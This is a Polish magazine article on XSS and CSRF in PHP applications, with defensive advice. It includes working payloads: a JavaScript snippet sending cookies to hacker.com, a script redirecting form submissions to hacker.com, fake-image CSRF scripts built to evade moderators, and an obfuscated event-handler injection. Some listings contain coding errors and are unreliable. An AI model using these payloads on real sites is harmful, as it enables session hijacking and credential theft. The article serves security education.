operator mógłby wstawiać ten odsyłacz na

różne strony (a nie tylko na swoją własną),

przez co każde otwarcie strony zawierają-

cej takiego linka byłoby liczone jako wizyta

na stronie foobar.com, w efekcie sygnali-

zując witrynie tracker.com duży ruch na fo-

obar.com. Na szczęście ładowany jest za-

wsze ten sam adres URL, więc do ujaw-

nienia oszustwa najczęściej wystarczy pro-

ste sprawdzanie nagłówka HTTP Referer.

Innego rodzaju atak ma przede

wszystkim na celu zepsucie układu stro-

ny poprzez zamieszczenie odsyłacza do

niewielkiego pliku grafi cznego zawierają-

cego bardzo duży obraz, która na pew-

no zapełni cały ekran, spychając z niego

wszelką inną zawartość. Ogromny GIF

o wymiarach 2000 na 2000 pikseli może

zajmować zaledwie 3786 bajtów, ale za-

pełni cały ekran, niezależnie od rozdziel-

czości i rozmiarów monitora. Oczywiście

nie jest to działanie szkodliwe, a jedynie

irytujące.

Zapewne myślisz sobie teraz: nie nie,

moja aplikacja nie jest taka głupia – nie do-

puszcza byle jakich odsyłaczy do obrazów,

tylko używa funkcji PHP getimagesize()

do sprawdzenia, czy każdy ładowany ob-

raz jest faktycznie plikiem grafi cznym o do-

puszczalnych wymiarach i wielkości.

Nie wszystko złoto co się świeci

Niestety, takie zabezpieczenie można z ła-

twością ominąć. Aby przejść podstawowe

sprawdzanie rozszerzenia pliku, napastnik

dostarcza URL faktycznie wyglądający jak

adres pliku grafi cznego, na przykład http://

hacker.com/me.jpg, co pozwoli uśpić

czujność mechanizmów testujących po-

prawność rozszerzenia. Teraz korzystając

z modułu mod_rewrite wystarczy podmie-

nić odwołanie do me.jpg na adres skryptu

PHP przeprowadzającego atak, by uzy-

skać możliwość wykonania w zasadzie

dowolnego kodu:

Page 50: PHPSolutions_2_2006_PL

XSS, CSRFBezpieczeństwo

www.phpsolmag.org50 PHP Solutions Nr 2/2006

RewriteEngine on

RewriteRule ^/me.jpg$ hacker.php

Po takiej podmianie, wszystkie odwołania

do me.jpg będą w rzeczywistości kiero-

wane do skryptu hacker.php, w którym

z kolei można wykorzystać kilka sztuczek

do zmylenia skryptów sprawdzających.

Jeśli na przykład znamy adres IP serwe-

ra, który testuje prawidłowość zawartości

pliku grafi cznego, możemy pod ten adres

odsyłać poprawny obraz, a resztę użyt-

kowników kierować pod inny, wybrany

przez nas (Listing 1).

Inne, bardziej uniwersalne podejście

polega na sprawdzaniu obecności nagłów-

ka HTTP_REFERER, dostarczanego przez

większość przeglądarek w celu wskazania

strony, z której nadeszło żądanie (Listing

2). Jeżeli PHP zgłasza żądanie spraw-

dzenia wykorzystujące getimagesize()

lub gdy administrator ręcznie sprawdza

odsyłacz do pliku, pole to jest puste. Dzię-

ki temu decyzję o ataku można też oprzeć

na obecności tego nagłówka: jeśli on

występuje, to próbujemy przeprowadzić

atak, a w przeciwnym razie wyświetlamy

niewinny plik grafi czny.

W niektórych przypadkach spreparo-

wana treść będzie musiała przejść proces

walidacji, co może na przykład dotyczyć

zatwierdzenia kolejnego wpisu w blogu

lub nowego awatara na forum. Jeśli bez-

pośrednio skorzystamy z wymienionych

sztuczek, przemęczony administrator czy

moderator będzie miał możliwość zauwa-

żenia i udaremnienia ataku. Aby uniknąć

wykrycia, możemy opóźnić wykonanie

skryptu o 1–2 dni albo po prostu zaczekać

z przekierowaniem, aż spreparowana treść

zostanie zatwierdzona. Można też wpro-

wadzić do ataku nieco losowości, by nie

każdy użytkownik był atakowany, oraz by

unikać dwukrotnego atakowania tego sa-

mego użytkownika, co pozwoli ograniczyć

szanse wykrycia (Listing 3).

Pojawiają się tu trzy mechanizmy

mające na celu utrudnienie wykry-

cia ataku. Po pierwsze, skrypt nie

będzie broił przez dwa dni od instalacji

(zakładając, że każdy atak jest zapisany

w osobnym skrypcie), co w większości

przypadków pozwoli ominąć proces

walidacji, jeśli takowy w ogóle istnieje.

Następnie zapisywany jest plik cookie

w celu śledzenia użytkownika i upewnienia

się, że nikt nie zostanie zaatakowany wię-

cej niż raz, dzięki czemu wykrycie ataku

będzie jeszcze trudniejsze. Ostatnim za-

Listing 1. Wysyłanie niewinnego pliku grafi cznego serwerowi wykonującemu

sprawdzenie zawartości obrazu przy jednoczesnym przekierowaniu wszystkich

innych żądań

if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {

header("Content-Type: image/jpeg");

readfi le("./me.jpg");

} else {

header("Location: http://foobar.com/admin/delete_msg.php?=1");

}

Listing 2. Kod podejmujący decyzję o ataku na podstawie obecności pola

HTTP_REFERER

if (empty($_SERVER['HTTP_REFERER'])) {

header("Content-Type: image/jpeg");

readfi le("./me.jpg");

} else {

header("Location: http://foobar.com/admin/delete_msg.php?=1");

}

Listing 3. Unikanie wykrycia poprzez losowy wybór ofi ar

$deployment_time = fi lemtime(__FILE__);

if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand() % 3)) {

header("Content-Type: image/jpeg");

readfi le("./me.jpg");

}

setcookie("h", "1", "hacker.com", time() + 86400 * 365, "/");

header("Location: http://foobar.com/admin/delete_msg.php?=1");

Listing 4. Pobranie obrazu na lokalną maszynę, sprawdzenie go, zapisanie i mo-

dyfi kacja pierwotnego odsyłacza w celu udaremnienia ewentualnego ataku

$img = "http://hacker.com/me.jpg";

fi le_put_contents($img_store_dir.md5($img), fi le_get_contents($img));

$i = getimagesize($img_store_dir.md5($img));

if (!$i && $i[0] < $max_width && $i[1] < $max_height) {

unlink($img_store_dir.md5($img));

}

rename($img_store_dir.md5($img),

$img_store_dir.md5($img).image_type_to_extension($i[2]));

Listing 5. Ustawiania czasu oczekiwania dla strumienia za pomocą funkcji

stream_set_timeout()

$fp = fopen($img_url, "r");

stream_set_timeout($fp, 1);

fi le_put_contents($destination_path, stream_get_contents($fp));

fclose($fp);

bezpieczeniem jest losowanie prawdopo-

dobieństwa ataku – przekierowane zosta-

nie mniej więcej co trzecie żądanie.

Wiemy już, na czym polega atak,

więc jak można mu przeciwdziałać? Tak

naprawdę są tylko dwie opcje. Pierwszą

z nich jest uniemożliwienie dostarczania

obrazków przez użytkowników. Choć

wydaje się to rozwiązaniem najbezpiecz-

niejszym i najłatwiejszym, to jednak dla

wielu twórców aplikacji byłby to zabieg

nadmiernie ograniczający możliwości ich

produktów. Drugą możliwością jest pobra-

nie każdego sprawdzanego pliku na lokal-

ny komputer, sprawdzenie go za pomocą

funkcji getimagesize(), a jeśli dane są

bezpieczne – zapisanie pliku na serwerze

i modyfi kacja odsyłacza do obrazu tak, by

wskazywał na plik lokalny zamiast zasobu

na zdalnym serwerze (Listing 4).

W tym przypadku zaczynamy od po-

brania obrazu i zapisania go w lokalnym

pliku w katalogu grafi ki, pod nazwą sta-

nowiącą skrót MD5 pierwotnego adresu.

Tak pobrany plik można już sprawdzić za

pomocą funkcji getimagesize(). Wstępne

zapisanie obrazu w pliku lokalnym jest ko-

nieczne, by uniemożliwić potencjalnemu

Page 51: PHPSolutions_2_2006_PL

XSS, CSRF Bezpieczeństwo

www.phpsolmag.org 51PHP Solutions Nr 2/2006

napastnikowi modyfi kację treści pomiędzy

żądaniami. Gdyby obraz był sprawdzany

na podstawie adresu do pliku zdalnego,

a dopiero potem pobierany, napastnikowi

wystarczyłoby proste zliczanie żądań

z konkretnego adresu IP, by dla drugiego

żądania podmienić zwracaną treść i tym

samym umożliwić atak.

Pobranie pliku na maszynę lokalną

uniemożliwia ewentualną dalszą modyfi -

kację treści po stronie zdalnego serwera.

Wynikiem działania funkcji getimagesize()

jest tablica zawierająca różnego rodzaju

informacje o obrazie. Jeśli w wyniku wy-

wołania tej funkcji nie otrzymamy tablicy,

to wiemy, że nie mamy do czynienia

z poprawnym plikiem grafi cznym. Pierw-

szy etapem sprawdzenia poprawności

jest więc upewnienie się, że faktycznie

mamy do czynienia z obrazem, a drugim

– sprawdzenie rozmiarów obrazu, by po

wstawieniu na stronę nie zepsuł jej układu.

W przypadku niepowodzenia jednego ze

sprawdzeń, podejrzany plik jest usuwany

z dysku, by nie dopuścić do wyczerpania

miejsca. Ostatnim etapem walidacji jest

zmiana nazwy pliku i nadanie mu rozsze-

rzenia zgodnego z jego typem, by przeglą-

darki mogły poprawnie wyświetlać obraz.

Niezwykle istotnym jest, by NIE uży-

wać rozszerzenia pobranego z adresu do-

starczonego przez użytkownika, lecz usta-

lić je samodzielnie na podstawie zawarto-

ści pliku – jest to konieczne w celu unik-

nięcia niedawno odkrytego błędu w Inter-

net Explorerze. Usterka ujawnia się w sy-

tuacji, gdy rozszerzenie pliku grafi cznego

jest niezgodne z typem wynikającym z na-

główka pliku, na przykład gdy plik me.jpg

jest w rzeczywistości obrazem GIF. W ta-

kiej sytuacji IE robi coś bardzo dziwnego:

przetwarza plik w taki sposób, że wykonu-

je dowolny kod HTML osadzony w obra-

zie, co otwiera drogę do ataku XSS i CSRF

w przypadku bezpośredniego dostępu do

takiego pliku:

<GIF89a 8 f >

<html>

<head>

<script>alert("XSS");</script>

</head>

<body></body>

</html>

(Błąd odkrył Marc Ruef, http://www.securi-

team.com/windowsntfocus/6F100B00EBY.

html). Tak spreparowany plik obrazu po-

zwoliłby na udany atak niezależnie od wa-

lidacji za pomocą funkcji getimagesize(),

gdyż sprawdza ona jedynie nagłówek pliku,

który w tym przypadku jest jak najbardziej

dopuszczalny. Przypisując plikowi rozsze-

rzenie na podstawie typu deklarowanego

w nagłówku eliminujemy tę rozbieżność,

tym samym udaremniając atak.

Gdyby była to jedyna trudność zwią-

zana z proponowanym rozwiązaniem, to

zapewne byłoby ono szerzej stosowane.

Jest jednak kilka innych problemów. Po

pierwsze, lokalne zapisywanie wszyst-

kich plików grafi cznych może wymagać

bardzo dużo przestrzeni dyskowej, co

w przypadku operatorów witryn o ogra-

niczonych zasobach jest bardzo istotnym

czynnikiem. Co więcej, udostępnianie

wszystkich plików grafi cznych z serwe-

ra może znacznie zwiększyć zużycie

pasma, a tym samym podnieść koszty

utrzymania serwera. Częściowym roz-

wiązaniem obu trudności jest wprowa-

dzenie ograniczenia wielkości plików,

ale jest to raczej sposób na ominięcie

problemu niż jego rozwiązanie.

Najpoważniejszym chyba problemem

z pobieraniem pliku z poziomu PHP jest

podatność na atak Denial of Service

(DoS) skierowany przeciwko serwero-

wi. Pobranie pliku przez PHP wymaga

nawiązania połączenia z serwerem, na

którym on się znajduje. Jeśli serwer ten

jest powolny, połączenie się z nim może

nieco potrwać. Podczas nawiązywania

połączenia, proces PHP obsługujący

żądanie czeka bezczynnie na otwarcie

gniazda. Nie spowoduje to jednak żadne-

go ostrzeżenia, gdyż czekanie nie zużywa

czasu procesora. Czas oczekiwania jest

domyślnie ustawiony aż na 60 sekund,

co oznacza, że dany proces PHP może

być niezdatny do użytku nawet przez mi-

nutę. Wystarczy więc nakłonić wszystkie

aktywne procesy serwera WWW do po-

bierania plików zewnętrznych, by serwer

stał się niedostępny dla użytkowników.

Większość serwerów dopuszcza nie

więcej niż 200 równoczesnych połączeń,

więc dokonanie ataku DoS tą metodą

jest zadaniem trywialnym. Na szczęście

można temu zaradzić skracając czas

oczekiwania na połączenie do znacznie

bezpieczniejszych 2–5 sekund, co wy-

maga jedynie zmiany wartości parametru

default_socket_timeout w pliku php.ini.

Modyfi kację tę można też wykonać z po-

ziomu skryptu – wtedy nowy czas będzie

dotyczyć wszystkich połączeń nawiązy-

wanych przez PHP za pośrednictwem

API strumieni:

// ograniczenie czasu oczekiwania

// na połączenie

ini_set("default_socket_timeout", 5);

Wykonanie tego polecenia nie rozwiązu-

je problemu powolnego pobierania pliku.

R E K L A M A

Page 52: PHPSolutions_2_2006_PL

XSS, CSRFBezpieczeństwo

www.phpsolmag.org52 PHP Solutions Nr 2/2006

Dodatkowym utrudnieniem jest fakt, że

strumienie PHP są domyślnie blokują-

ce, czyli raz otwarty strumień będzie do

skutku czekał na nadesłanie danych ze

zdalnego serwera, gdyż nie ma tu żad-

nego domyślnego czasu oczekiwania.

Sytuacja nie jest jednak beznadziejna

dzięki funkcji stream_set_timeout(), po-

zwalającej ustawić czas oczekiwania dla

strumienia (Listing 5). Funkcja ta operuje

jednak bezpośrednio na strumieniu, więc

musimy zmodyfi kować kod pobierający

plik tak, by nie korzystał z opakowującej

obsługę strumienia funkcji fi le_get_

contents().

Nowy kod pobierający plik nakazuje

PHP czekać na nadesłanie danych z gniaz-

da nie dłużej niż przez sekundę. Wy-

korzystanie trzeciego argumentu funkcji

stream_set_timeout() pozwala określić je-

szcze krótszy czas, mierzony w mikro-

sekundach – na przykład wywołanie

stream_set_timeout($fp,0,250000);

spowodowałoby ustawienie czasu oczeki-

wania na ćwierć sekundy. Jednak nawet

w przypadku starannego dobrania czasów

oczekiwania nadal istnieje droga ataku:

napastnik musi jedynie wysyłać dane

bardzo powoli, na przykład w tempie 5

bajtów na sekundę, tylko na tyle często, by

uniknąć przekroczenia czasu oczekiwania.

W przypadku obrazu wielkości 20 kilobaj-

tów pozwoliłoby to zająć serwer na 68 se-

kund, a większe pliki mogłyby oczywiście

zajmować dużo dłużej.

Niestety, tego typu atakowi w praktyce

nie da się zapobiec, gdyż wprowadzenie

obrony przed nim wymaga od programi-

stów znacznie więcej czasu i wysiłku, niż

są na ogół w stanie zainwestować. Roz-

wiązanie polegałoby na pobieraniu obrazu

we fragmentach jednobajtowych i ciągłym

monitorowaniu szybkości transmisji, co po-

zwoliłoby odrzucać połączenia wolniejsze

od pewnego ustalonego minimum. Wyma-

gałoby to zużycia nieporównanie większej

mocy obliczeniowej serwera do pobrania

tych samych danych.

Podsumowując ataki wykorzystujące

pliki grafi czne – jedynym stuprocentowym

rozwiązaniem jest uniemożliwienie użyt-

kownikom dostarczania własnej grafi ki.

Wszystkie inne zabezpieczeniautrudniają

przeprowadzanie tego typu ataków, ale

z pewnością im nie zapobiegają.

Niebezpieczne atrybuty CSS

Znacznik <img> jest wprawdzie najczęst-

szym sprawcą ataków CSRF, ale mogą

one też być przeprowadzane innymi

metodami, które pod pewnymi względa-

mi są znacznie bardziej nieprzyjemne,

a w dodatku trudniejsze do wykrycia.

Jedną z dróg ataku jest wykorzystanie

atrybutu CSS background, pozwalającego

określić plik grafi czny używany jako tło

dla elementu strony. Jak umieścić taki

atrybut w kodzie? Sposób jest znacznie

prostszy, niż mogłoby się wydawać,

a w dodatku dość często spotykany. Pro-

blem tkwi w tym, że wiele aplikacji PHP

pozwala użytkownikom określać sposób

wyświetlania wprowadzanych danych,

dopuszczając stosowanie w tekście pro-

stych znaczników formatujących HTML,

na przykład pogrubienia <b>, kursywy

<i> i tym podobnych. Implementacja ta-

kiego rozwiązania często bywa kłopotli-

wa. W wielu przypadkach dopuszczenie

znaczników formatujących odbywa się

z wykorzystaniem nieobowiązkowego

argumentu funkcji strip_tags(), pozwa-

lającego wyłączać z procesu usuwania ta-

gów określone, z założenia nieszkodliwe

znaczniki. Dzięki temu programista, który

chce pozwolić użytkownikom na stosowa-

nie znaczników formatujących, może na-

kazać funkcji, by tych akurat znaczników

nie usuwała, więc na przykład dopuszcze-

nie znaczników pogrubienia i kursywy wy-

magałoby wywołania strip_tags($test,

"<b><i>"). Mechanizm prosty i bezpiecz-

ny – tylko czy aby na pewno?

Niestety, nie jest to podejście bezpiecz-

ne. Funkcja strip_tags() przepuszcza

każdy dopuszczony znacznik w całości,

wraz ze wszelkimi atrybutami zapisany-

mi w jego obrębie. Napastnik nie może

wprawdzie wstawiać własnych tagów, ale

za to może umieszczać dowolne atrybuty

w znacznikach dopuszczanych przez apli-

kację. Specyfi kacja W3C nie przewiduje dla

znaczników w rodzaju <b> czy <i> obsługi

atrybutu stylu określającego tło elementu,

ale nie ma to większego znaczenia, gdyż

większość przeglądarek i tak obsługuje

takie atrybuty. Możemy więc wykorzystać

sztuczki pokazane przy okazji ataku po-

przez znacznik <img> – wystarczy wybrać

sobie dozwolony znacznik i wpisać w nim

atrybut stylu o treści na przykład takiej:

"background: url('http://hacker.com/

me.jpg')". Listing 6 przedstawia kod wyko-

rzystujący ten zabieg.

Ataki tego typu są o tyle nieprzyjemne,

że brakujący obrazek będzie w przeglądar-

ce wyświetlany jako tekst czy ikona, przez

Listing 6. Przykład niebezpiecznych stylów CSS

$text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';

// wypisuje tekst wraz z formatowaniem

echo strip_tags($text, "<b><i>");

Listing 7. Atak XSS na typowe pole wyszukiwarki

// kod PHP

<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />

// wynikowy kod HTML po modyfi kacji

<input type="text" name="s" value=""> TEKST XSS <"" />

Listing 8. Przykładowy ciąg atakujący XSS

<script>

var r = new XMLHttpRequest();

r.open('get', 'http://hacker.com/?'+document.cookie);

r.send(null);

</script>

Listing 9. Atak XSS na formularze

<script>

for (i=0; i<document.forms.length; i++)

document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;

</script>

Page 53: PHPSolutions_2_2006_PL
Page 54: PHPSolutions_2_2006_PL

XSS, CSRFBezpieczeństwo

www.phpsolmag.org54 PHP Solutions Nr 2/2006

co łatwiej zauważyć, że coś jest nie w po-

rządku, ale brakującego tła nie widać, co

znacznie utrudnia wykrycie ataku.

Mam nadzieję, że ten przykład poka-

zał wystarczająco dobitnie, dlaczego nie

należy realizować obsługi znaczników

formatujących z wykorzystaniem funkcji

strip_tags(). Bezpieczniejszym roz-

wiązaniem byłoby zaimplementowanie

podzbioru tagów BBcode, które nie obsłu-

gują atrybutów. BBcode dostarcza zestaw

znaczników formatujących bardzo podob-

nych do tagów HTML-owych, ale prze-

znaczonych wyłącznie do ograniczonego

formatowania. Znaczniki wprowadzane

przez użytkowników są konwertowane

na kod HTML, dzięki czemu można dać

użytkownikom możliwość formatowania

tekstu bez otwierania drogi atakowi XSS

czy CSRF. Oczywiście nie trzeba w tym

celu pisać własnego parsera, gdyż istnieją

odpowiednie narzędzia tego typu. Dosko-

nale nadaje się do tego celu klasa PEAR

o nazwie HTML_BBCodeParser, dostępna

pod adresem http://pear.php.net/package/

HTML_BBCodeParser. Inną możliwością

jest dopuszczenie znaczników HTML i wy-

korzystanie funkcji z pakietu SafeHTML

(http://pixel-apes.com/safehtml), usuwa-

jących z przekazanego tekstu wszelkie

niebezpieczne elementy i atrybuty HTML.

Do przeprowadzenia ataku CSRF

można wykorzystać nie tylko sztuczki

z podstawionymi obrazkami w znacznikach

<img> i atrybutach tła, ale w także dowolny

inny znacznik, którego przetwarzanie wiąże

się z automatycznym pobieraniem wska-

zanego zasobu. Tagi w rodzaju <iframe>

czy <script> są na ogół bezpieczne, gdyż

są one z natury statyczne i niedostępne

dla użytkownika. Jeśli jednak możliwe jest

uzyskanie do nich dostępu za pośrednic-

twem niesprawdzonej zmiennej, mogą

one stanowić nie mniejsze zagrożenie od

mechanizmów opisanych wcześniej.

Teraz XSSAtaki CSRF polegają na wykorzystaniu

istniejących lub legalnie wprowadzanych

elementów strony do złośliwych celów,

natomiast celem ataku XSS jest omi-

nięcie procesu walidacji i tym samym

umożliwienie napastnikowi wstawienia

na stronę dowolnych treści. Podstawio-

ne w ten sposób dane mogą służyć do

wyłudzenia od użytkownika poufnych

informacji, wykonania określonych ope-

racji z uprawnieniami zalogowanego

użytkownika i tym podobnych działań.

Wyłom poczyniony przez udany atak

XSS może również posłużyć do przepro-

wadzenia w następnej kolejności ataku

CSRF, więc śmiało można powiedzieć,

że XSS jest atakiem o nieograniczonych

niemal możliwościach i stanowi poważne

zagrożenie. Co gorsza, podatność na

ataki XSS jest niezwykle powszechnym

problemem. Kilka tygodni temu okazało

się, że nawet nowe serwisy takich gi-

gantów, jak Google i Yahoo! są podatne

na takie ataki, a zgłoszenia pojawiające

się codziennie na listach dyskusyjnych

poświęconych bezpieczeństwu dowodzą

istnienia podobnych problemów w bar-

dzo wielu aplikacjach.

W większości przypadków błędy

umożliwiające atak XSS nie są specjalnie

głęboko ukryte – nierzadko podatna na

ten atak bywa nawet wyszukiwarka na

głównej stronie popularnego serwisu. Gdy

użytkownik wprowadza tekst do wyszuka-

nia, zapytanie jest wyświetlane na stronie

wyników, najczęściej w postaci gotowej

wartości pola <input>, by ułatwić zmianę

kryteriów wyszukiwania. Przeprowadzenie

ataku XSS jest możliwe przy braku wali-

dacji takiego pola. Wykorzystanie podat-

ności bywa banalnie proste – wystarczy

w wyszukiwarce podać ciąg "> TEKST

XSS <", gdzie TEKST XSS zawiera dowolne

dane, które mają być wstawione na stro-

nę. Początkowe znaki "> mają na celu

zakończenie znacznika <input>, którego

atrybut wartości zawiera treść zapytania,

natomiast końcowe znaki <" domykają

pozostałą część znacznika (Listing 7).

Jeśli taki atak się powiedzie, napast-

nik może niemal dowolnie modyfi kować

zawartość strony. Mógłby na przykład

pozyskać plik cookie należący do innego

użytkownika – wystarczyłoby zastąpić ciąg

TEKST XSS kodem z Listingu 8.

Wstawiane dane to w tym przy-

padku króciutki skrypt w JavaScripcie,

zgłaszający żądanie HTTP do witryny

wybranej przez hakera i przesyłający do

niej nazwy i zawartość wszystkich plików

cookie aktualnie ustawionych dla pe-

chowego użytkownika. Napastnik może

zapisać kopie tych plików na własnym

komputerze i tym samym uzyskać takie

prawa dostępu, jak zalogowany w ser-

wisie użytkownik. Wykorzystana w tym

przykładzie funkcja XMLHttpRequest()

jest obsługiwana tylko przez Mozilla

Firefox, ale IE udostępnia równoważną

funkcję ActiveXObject("Microsoft.XMLH

TTP") o identycznym działaniu.

Inna sztuczka nadaje się dobrze do

atakowania stron pobierających od użyt-

kownika informacje za pomocą formularzy,

na przykład stron logowania czy też formu-

larzy z żądaniem informacji o rozliczeniach

w witrynach związanych z handlem elektro-

nicznym. W tym przypadku ciąg atakujący

może posłużyć do takiej modyfi kacji właści-

wości action formularzy, by przesyłały one

zgłaszane dane do innej witryny.

Skrypt XSS przedstawiony na Listingu

9 modyfi kuje właściwość action wszyst-

kich formularzy na danej stronie zgodnie

z zamysłem napastnika, dzięki czemu

informacje podane przez użytkownika nie

trafi ą na zamierzoną stronę, tylko do intru-

za. Bardziej pomysłowy złoczyńca zadba

nie tylko o przechwycenie istotnych da-

nych, lecz również o ukrycie śladów ataku

poprzez przekierowanie tych danych tam,

gdzie powinny były trafi ć. Służy do tego

tymczasowe przekierowanie:

log_data($_GET, $_POST);

header("HTTP/1.0 307 Moved Permanently");

header("Location: ".$_SERVER['QUERY_STRING']);

Zgodnie ze specyfi kacją, przekierowanie

żądania POST powinno być potwierdzone

przez użytkownika – odpowiednie okno

dialogowe wyświetla Firefox. Wyświetlany

komunikat nie jest jednak zbyt czytelny,

więc wielu użytkowników odruchowo kliknie

opcję twierdzącą, a nawet jeśli tego nie

uczynią, to szkoda i tak została już wyrzą-

dzona, gdyż napastnik uzyskał wysłane

dane. Prawdziwą gratką dla intruza jest

w tym przypadku Internet Explorer, który

kompletnie ignoruje specyfi kację i dokonuje

przekierowania bez żadnego ostrzeżenia,

w efekcie całkowicie ukrywając fakt prze-

słania żądania POST za pośrednictwem

strony nieuprawnionej. Z punktu widzenia

użytkownika wygląda to po prostu tak,

jakby cała operacja została wykonana

pomyślnie, gdyż wszystko działa i nie

jest zgłaszany żaden problem. Cały atak

odbywa się poprzez przekierowania, więc

zawartość nagłówka HTTP_REFERER nie jest

aktualizowana i wykrycie ataku podczas

jego trwania nie jest możliwe.

Zdarzają się też aplikacje, których

twórcy nie docenili możliwości ataków XSS

i wprowadzili podstawowe, lecz niedosta-

teczne zabezpieczenia. Nierzadko bywa

tak, że niezbędne do wstawienia znacznika

znaki <, " i > są bezpiecznie kodowane

odpowiednio jako entytki &gt;, &quot;

i &lt;, lecz znak apostrofu pozostaje

Page 55: PHPSolutions_2_2006_PL

XSS, CSRF Bezpieczeństwo

www.phpsolmag.org 55PHP Solutions Nr 2/2006

nietknięty. Jest to typowy efekt korzysta-

nia z domyślnych ustawień funkcji PHP

htmlspecialchars() i htmlentities(), poz-

walających zakodować znaki specjalne

jako odpowiadające im encje HTML.

Problem niekodowanych apostrofów jest

taki, że atrybuty umieszczane w obrębie

znaczników HTML (i potencjalnie wypełnia-

ne danymi wprowadzanymi przez użyt-

kownika) mogą być ujęte właśnie w apo-

strofy. Napastnik może wykorzystać je do

domknięcia istniejącego atrybutu i dopisania

własnego. Moglibyśmy na przykład spróbo-

wać wstawić atrybut onMouseOver, który

wywoływałby zdarzenie JavaScriptu w mo-

mencie najechania myszą na zaatakowany

element strony. Tworząc kod służący do

przeprowadzenia ataku musimy jedynie

pamiętać o unikaniu znaków kodowanych

i używaniu apostrofu jako znaku obej-

mującego wartości atrybutów. Może się

to wydawać nieco skomplikowane, ale

w rzeczywistości przeprowadzenie takiego

ataku jest trywialne dzięki dwóm funkcjom

JavaScriptu: String.fromCharCode(),

pozwalającej zamienić listę kodów ASCII

na łańcuch złożony z odpowiadających im

znaków, oraz eval(), wykonującej kod zapi-

sany w przekazanym jej łańcuchu znaków.

Aby po najechaniu myszą na zaatakowany

element pojawiał się komunikat JavaScrip-

tu o treści XSS, wystarczy wstawić do

wartości dowolnego z atrybutów elementu

następujący ciąg:

' onMouseOver='eval(String.fromCharCode

(97,108,101,114,116,40,39,88,83,83,39,

41,59))' '

Początkowy apostrof zamyka otwarty atry-

but, a ostatni otwiera następny, by uniknąć

błędu parsowania HTML. Treść wstawio-

na pomiędzy apostrofami zawiera nowy

atrybut, którego wartością jest kod Java-

Scriptu wykonujący za pomocą funkcji

eval() polecenie alert('XSS'); złożone

z przekazanych kodów ASCII.

Aby uniknąć tego zagrożenia, na-

leży zawsze pamiętać o przekazywa-

niu ENT_QUOTES jako wartości drugiego

argumentu funkcji htmlspecialchars()

i htmlentities(), co spowoduje przeko-

dowanie apostrofów na odpowiadającą im

encję HTML &#039;.

Pokrewnym błędem walidacji jest

zabezpieczanie treści dostarczanych

przez użytkownika wyłącznie za pomocą

funkcji strip_tags(). Funkcja ta bardzo

skutecznie usuwa znaczniki HTML, ale

nic nie robi w kwestii cudzysłowów i apo-

strofów, co w przypadku bezpośredniego

wykorzystania wprowadzanych danych

otwiera drogę do ataku ze wstawieniem

atrybutów. Poprawna walidacja polega

na wykonaniu funkcji strip_tags(), a na-

stępnie przetworzeniu wyniku jej działa-

nia za pomocą htmlspecialchars() lub

htmlentities():

// poprawna walidacja

$text = htmlspecialchars(

strip_tags($_POST['msg']),

ENT_QUOTES);

Tak sprawdzone dane są odporne na atak

i można je bezpiecznie zapisać na dysku

lub wyświetlić w przeglądarce użytkownika.

Kluczową sprawą jest walidacja

wszystkich danych wejściowych, nie-

zależnie od ich pochodzenia. Typowym

błędem jest fi ltrowanie jedynie danych

otrzymywanych za pośrednictwem żądań

GET i POST oraz plików cookie, a po-

mijanie walidacji danych pobieranych ze

zmiennych środowiskowych serwera za

pośrednictwem nadrzędnej zmiennej glo-

balnej $_SERVER. Niektórzy programiści

zapominają, że zmienne środowiskowe

są wprawdzie pobierane bezpośrednio

z serwera, ale ich wartości są często

ustalane na podstawie danych dostar-

czonych przez użytkownika, a więc mo-

gą stanowić takie samo zagrożenie, jak

informacje pobierane bezpośrednio. Co

więcej, dane te są często wyświetlane

w panelach administracyjnych w razie

wystąpienia błędu, przez co są o tyle bar-

dziej niebezpieczne, że ich ofi arą może

paść użytkownik o rozszerzonych upraw-

nieniach (administrator). Jeden z moż-

liwych ataków tego typu wykorzystuje

wartość zmiennej HTTP_HOST, zawierającej

nazwę domeny, w której znajduje się ak-

tualnie przetwarzana strona. Wydaje się,

że wartość ta powinna być bezpieczna

– napastnik nie może chyba zmienić na-

zwy domeny? To niezupełnie tak. Wartość

zmiennej jest pobierana z nagłówka Host

dostarczanego przez hosta zgłaszające-

go żądanie. Jeśli witryna ma własny ad-

res IP lub podstawowy (pierwszy) adres

z puli wirtualnych adresów IP, żądanie ze

spreparowaną wartością tego nagłówka

zostanie poprawnie przetworzone przez

serwer Apache. Oznacza to, że żądanie

strony z takiej witryny można sfałszować,

tym samym umieszczając dowolne dane

w zmiennej HTTP_HOST:

GET / HTTP/1.0

Host: <script>...

Efekt jest taki, że $_SERVER['HTTP_HOST']

zawiera teraz wartość <script>...

lub inne, znacznie bardziej szkodliwe

dane. Podobne sztuczki można stoso-

wać w przypadku innych nagłówków,

na przykład Via (zmienna HTTP_VIA)

czy X-Forwarded-For (zmienna HTTP_

X_FORWARDED_FOR), używanych przez

serwery pośredniczące do wskazywania

użytkownika, od którego pochodzi żą-

danie. Zamiast adresu lub listy adresów

IP, napastnik może zapisać w tych na-

główkach dowolne dane, które zostaną

wykonane przez każdy bez wyjątku

serwer WWW. Jedynym bezpiecznym

nagłówkiem jest chyba REMOTE_ADDR, który

przechowuje adres IP użytkownika, gdyż

jest on ustawiany przez serwer i może

zawierać wyłącznie poprawny adres.

Wszystkie inne wartości pobierane z na-

główków trzeba zawsze dokładnie spraw-

dzać przed wykorzystaniem.

PodsumowanieTen krótki przegląd możliwości ataków XSS

i CSRF pokazał, że stanowią one jak naj-

bardziej realne zagrożenie i trzeba się

przed nimi bronić. Zabezpieczenie aplika-

cji i serwerów przed atakami nie jest trud-

ne, więc bezpieczeństwo Twojego serwera

spoczywa wyłącznie w Twoich rękach. Kie-

rując się kilkoma prostymi zasadami moż-

na znacznie ograniczyć ryzyko nieautory-

zowanego dostępu do danych i spowodo-

wanych nim strat. �

Ilia Alshanetsky jest głównym architek-

tem oprogramowania w fi rmie Advanced

Internet Designs Inc., specjalizującej się

w audytach bezpieczeństwa, analizach

wydajności i tworzeniu aplikacji. Jest

twórcą FUDforum (http://fudforum.org)

stworzonego z myślą o połączeniu roz-

budowanych możliwości z wydajnością

i wysokim poziomem bezpieczeństwa.

Ilia należy do głównego zespołu progra-

mistów PHP i uczestniczył w tworzeniu

rozszerzeń między innymi dla SHMOP,

PDO, SQLite, GD i ncurses. Czynnie

